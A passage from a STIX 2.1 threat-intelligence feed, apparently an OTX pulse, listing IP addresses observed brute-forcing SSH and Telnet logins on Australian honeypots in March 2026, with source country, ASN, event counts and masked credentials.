      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 16019. Organisation(s): Vodafone Czech Republic a.s.. Usernames observed (masked): r**t, r******n, 3**********4. Passwords observed (masked): 1**4, 3***********4, 3**********4, A********8, A******4.",
      "id": "indicator--1766dab5-1d2f-4ff1-974c-58465d44330e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.44.192.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:15:13.000Z",
      "valid_until": "2026-04-05T21:15:12.000Z"
    },
    {
      "created": "2026-03-04T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******6, 1******R, 3***********4, 3**********4, B********3.",
      "id": "indicator--916e8874-8725-47d2-8640-cb27ffd0f3bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T22:15:06.000Z",
      "valid_until": "2026-04-05T22:15:05.000Z"
    },
    {
      "created": "2026-03-04T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 53158. Organisation(s): Net Turbo Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********h, 1********@, 3***********4, 3**********4, 3******X.",
      "id": "indicator--11dc24ea-6e7e-49bd-a9c3-ade60885ca0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.209.52.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T22:15:06.000Z",
      "valid_until": "2026-04-05T22:15:05.000Z"
    },
    {
      "created": "2026-03-04T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): w*******8.",
      "id": "indicator--eb8ce5d9-2490-474d-bd54-c99c41cce8bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.166.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T22:15:06.000Z",
      "valid_until": "2026-04-05T22:15:05.000Z"
    },
    {
      "created": "2026-03-04T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396507. Organisation(s): Emerald Onion. Usernames observed (masked): r**t. Passwords observed (masked): 1******************x.",
      "id": "indicator--093247a6-b1c0-42a1-b291-e7027ac3b158",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.129.64.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T22:15:06.000Z",
      "valid_until": "2026-04-05T22:15:05.000Z"
    },
    {
      "created": "2026-03-04T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********m, 3***********4, 3**********4, A******7, B********3.",
      "id": "indicator--076fd1d0-43fe-45a1-8c49-3328933dffac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.178.84.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T22:15:06.000Z",
      "valid_until": "2026-04-05T22:15:05.000Z"
    },
    {
      "created": "2026-03-04T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********h, 1********@, 3***********4, 3**********4, 3******X.",
      "id": "indicator--dbbca4f6-be4a-4f70-ad96-5db60d88d1a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '99.92.204.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T22:15:06.000Z",
      "valid_until": "2026-04-05T22:15:05.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 147307. Organisation(s): Mars Computer Net. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********z, 2**********V, 3***********4, 3**********4, A*******3.",
      "id": "indicator--1f01aae3-e074-40ea-999a-d601229a80eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.174.188.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 103. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******b, 3**********4, 6**6, B********3.",
      "id": "indicator--255aca82-1ebb-41dd-bb7c-09665e89146f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.150.106.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3.",
      "id": "indicator--a2afb1de-f5c0-4f76-b29b-fde58b71d10d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.203.251.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 264393. Organisation(s): NetBrasil Telecom LTDA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******C, 6**6, A********1.",
      "id": "indicator--6e49da55-7996-4a03-be2b-16c3a7a9f944",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '131.161.219.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 135089. Organisation(s): China Telecom. Usernames observed (masked): r**t. Passwords observed (masked): a****a.",
      "id": "indicator--052bae08-0d44-482e-99db-c03957fdc553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.22.89.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 59. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******b, 3***********4, 3**********4, 6**6, A*******+.",
      "id": "indicator--8b2775ed-2c3c-4f43-bb82-ca58dd0c6c39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.187.147.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 6****9, A******4, B********3.",
      "id": "indicator--910a6bb2-52ca-4f85-be56-564325b67be1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.117.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): r**t. Passwords observed (masked): I***********************4.",
      "id": "indicator--0607f4fb-b8d1-4edf-96d2-7706175de022",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***. Passwords observed (masked): 1**4, s****3.",
      "id": "indicator--82ca7af2-6154-4e06-a351-0d98da025734",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.49.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e754f851-6e1e-4c5c-b4bf-ec3e5071baa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 131111. Organisation(s): PT Mora Telematika Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******+, B********3, L******!.",
      "id": "indicator--e5524bba-408e-4adc-99b9-d28e9a7e327b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.50.25.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 23724. Organisation(s): IDC, China Telecommunications Corporation. Usernames observed (masked): r**t. Passwords observed (masked): B********3.",
      "id": "indicator--220cfdac-91d1-4426-80fd-9020c92327fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.112.133.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 156. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******r, 1******A, 1*******d.",
      "id": "indicator--1111cb9c-f805-4bb5-9d01-2837c79945c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.128.149.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AT. ASN(s): 44076. Organisation(s): INTAC Services GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3, C******3, P******d.",
      "id": "indicator--e07cc1df-7e6a-4536-9731-c3433d41b355",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.137.172.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3.",
      "id": "indicator--12679e9d-d235-49c2-9458-5a0172056c74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.55.97.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-04T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8ce9771b-73fb-434e-9633-4c009131efb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.250.122.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T23:15:13.000Z",
      "valid_until": "2026-04-05T23:15:11.000Z"
    },
    {
      "created": "2026-03-05T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--9f87caea-b7a3-456c-849e-a54b74820d38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.219.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:15:07.000Z",
      "valid_until": "2026-04-06T00:15:05.000Z"
    },
    {
      "created": "2026-03-05T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s****a. Passwords observed (masked): s****a.",
      "id": "indicator--cbc5baba-456d-4b6c-966d-d0cf81de9932",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.112.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:15:07.000Z",
      "valid_until": "2026-04-06T00:15:05.000Z"
    },
    {
      "created": "2026-03-05T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--add1333a-5232-41f8-b4e0-707dbc58ffb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:15:07.000Z",
      "valid_until": "2026-04-06T00:15:05.000Z"
    },
    {
      "created": "2026-03-05T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u. Passwords observed (masked): u****u.",
      "id": "indicator--57c9c5c1-23f8-4e4b-9ae4-b5ed52d452bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.54.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:15:07.000Z",
      "valid_until": "2026-04-06T00:15:05.000Z"
    },
    {
      "created": "2026-03-05T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 12271. Organisation(s): Charter Communications Inc.",
      "id": "indicator--e184a468-98aa-4e97-95a9-23f4a431c7c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.39.156.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:15:07.000Z",
      "valid_until": "2026-04-06T00:15:05.000Z"
    },
    {
      "created": "2026-03-05T00:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t. Passwords observed (masked): A******#.",
      "id": "indicator--392d2d6d-3563-4992-8d08-8102fede3620",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.50.177.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:15:07.000Z",
      "valid_until": "2026-04-06T00:15:05.000Z"
    },
    {
      "created": "2026-03-05T00:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--4ffafd62-5167-40f5-bb03-142f0816cc1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T00:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.188.7.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T00:15:07.000Z",
      "valid_until": "2026-04-06T00:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 38203. Organisation(s): ADN Telecom Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********d, 1*****1, 3***********4, 3**********4, A******3.",
      "id": "indicator--91fd4dae-fe99-4823-b165-8c37066d54c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.253.147.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--cccca652-b552-4207-9125-095c65bf4289",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, u****u. Passwords observed (masked): ***, u****u.",
      "id": "indicator--e06cb546-3437-4305-b490-6b447b104b88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.193.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): b*****e. Passwords observed (masked): b*****e.",
      "id": "indicator--0c9eb9c4-7cd6-4a91-8955-0cd2e8fe3820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
